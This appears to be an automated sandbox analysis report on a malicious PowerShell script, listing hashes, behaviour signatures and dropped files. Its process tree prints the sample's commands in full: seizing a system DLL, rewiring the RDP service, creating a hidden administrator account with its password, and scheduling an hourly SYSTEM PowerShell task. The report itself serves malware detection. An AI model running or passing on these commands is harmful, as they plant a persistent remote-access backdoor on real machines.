Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 02:08

General

  • Target

    $TEMP/TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps1

  • Size

    3.5MB

  • MD5

    67e1452131ae07c4b67762d3c302f52b

  • SHA1

    d6329ac864341d9dd86ff9032df8912ec8c44c8b

  • SHA256

    6416923da618a13311012632be2aa383a711c84ee182670e663e4bd8c6464950

  • SHA512

    013ee8398189be291970c431be6cab9597e9c3650be44c8842bafeb90e2ac84dc720daf82f24bf67bab4564272fcb34db76b352923697095f9e4b9ed2a553280

  • SSDEEP

    49152:RIUxx1Km3fApVfWdmS+KyU053ZBqoBcTq:Y

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\$TEMP\TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps1
    1⤵
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:3840
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:1640
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      • Suspicious use of AdjustPrivilegeToken
      PID:4864
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:2612
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:876
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:3948
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:1156
    • C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      2⤵
      • Possible privilege escalation attempt
      • Modifies file permissions
      PID:3848
    • C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      2⤵
        PID:1100
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %SystemRoot%\help\tmp5211.dat /f
        2⤵
        • Sets DLL path for service in the registry
        • Modifies registry key
        PID:4788
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4936
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
          3⤵
            PID:3444
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
          2⤵
            PID:4864
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
            2⤵
              PID:4980
          • C:\Windows\System32\cmd.exe
            cmd /C net.exe user WgaUtilAcc MzxuaGHm /add
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:5064
            • C:\Windows\system32\net.exe
              net.exe user WgaUtilAcc MzxuaGHm /add
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4328
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user WgaUtilAcc MzxuaGHm /add
                3⤵
                  PID:2324
            • C:\Windows\System32\cmd.exe
              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:2680
              • C:\Windows\system32\net.exe
                net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1940
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                  3⤵
                    PID:2676
              • C:\Windows\System32\cmd.exe
                cmd /C net.exe LOCALGROUP "Remote Desktop Users" LLXDHEWC$ /ADD
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:4628
                • C:\Windows\system32\net.exe
                  net.exe LOCALGROUP "Remote Desktop Users" LLXDHEWC$ /ADD
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2612
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" LLXDHEWC$ /ADD
                    3⤵
                      PID:1864
                • C:\Windows\System32\cmd.exe
                  cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3776
                  • C:\Windows\system32\net.exe
                    net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4700
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                      3⤵
                        PID:1408
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc MzxuaGHm
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1836
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc MzxuaGHm
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5012
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc MzxuaGHm
                        3⤵
                          PID:544
                    • C:\Windows\System32\cmd.exe
                      cmd /C schtasks /create /tn 85829 /tr "powershell -nop -ep bypass -f c:\windows\help\81397.ps1" /ru system /sc hourly /mo 1
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1752
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /tn 85829 /tr "powershell -nop -ep bypass -f c:\windows\help\81397.ps1" /ru system /sc hourly /mo 1
                        2⤵
                        • Creates scheduled task(s)
                        PID:3332

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4ehmsra.e3w.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • C:\Windows\Help\tmp5211.dat

                      Filesize

                      120KB

                      MD5

                      9a5f1af394cdad5ca5000dc87b664017

                      SHA1

                      97ccaa9535d3f2a0ed259e91b3bb4e7417d50863

                      SHA256

                      e004b95ba76b4fad388fad96714bf95cd6f2ce8fa3b262d63bf25749dbea8b10

                      SHA512

                      cc48689ef61b5474291f5a6ac298d30a696950acfffe8208d8965ba7e85cce96b575ebdf0b59d0b764bb35b05404c9a74434eb9b24cd244125a194a02f5dd67a

                    • C:\Windows\Help\tmp5212.dat

                      Filesize

                      783KB

                      MD5

                      9790f9fecc9bf0b6cac0dd2ea51214b8

                      SHA1

                      257b5af37b30ee374ada8e1a7a4259c5a87503bc

                      SHA256

                      40c7851445ab77275378d31090f155d856982b0d98c5c2990fbd1b708a371d30

                      SHA512

                      c8ef15aaabea3a2abfefa3a2bee0d349740009d9f3fcd0ffe145f2004f63dfedaff177c279bba4101f2e9d86944f6b4a371bbc080fa718a28e42be7578bd3bc6

                    • C:\Windows\system32\rfxvmt.dll

                      Filesize

                      40KB

                      MD5

                      dc39d23e4c0e681fad7a3e1342a2843c

                      SHA1

                      58fd7d50c2dca464a128f5e0435d6f0515e62073

                      SHA256

                      6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                      SHA512

                      5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                    • \??\PIPE\lsarpc

                      MD5

                      d41d8cd98f00b204e9800998ecf8427e

                      SHA1

                      da39a3ee5e6b4b0d3255bfef95601890afd80709

                      SHA256

                      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                      SHA512

                      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                    • memory/2684-11-0x00007FFC02760000-0x00007FFC03221000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/2684-14-0x00007FFC02760000-0x00007FFC03221000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/2684-13-0x00007FFC02760000-0x00007FFC03221000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/2684-20-0x000001AA236A0000-0x000001AA238BC000-memory.dmp

                      Filesize

                      2.1MB

                    • memory/2684-12-0x00007FFC02760000-0x00007FFC03221000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/2684-0-0x00007FFC02763000-0x00007FFC02765000-memory.dmp

                      Filesize

                      8KB

                    • memory/2684-10-0x000001AA23B90000-0x000001AA23BB2000-memory.dmp

                      Filesize

                      136KB

                    • memory/2684-26-0x000001AA236A0000-0x000001AA238BC000-memory.dmp

                      Filesize

                      2.1MB

                    • memory/2684-27-0x00007FFC02760000-0x00007FFC03221000-memory.dmp

                      Filesize

                      10.8MB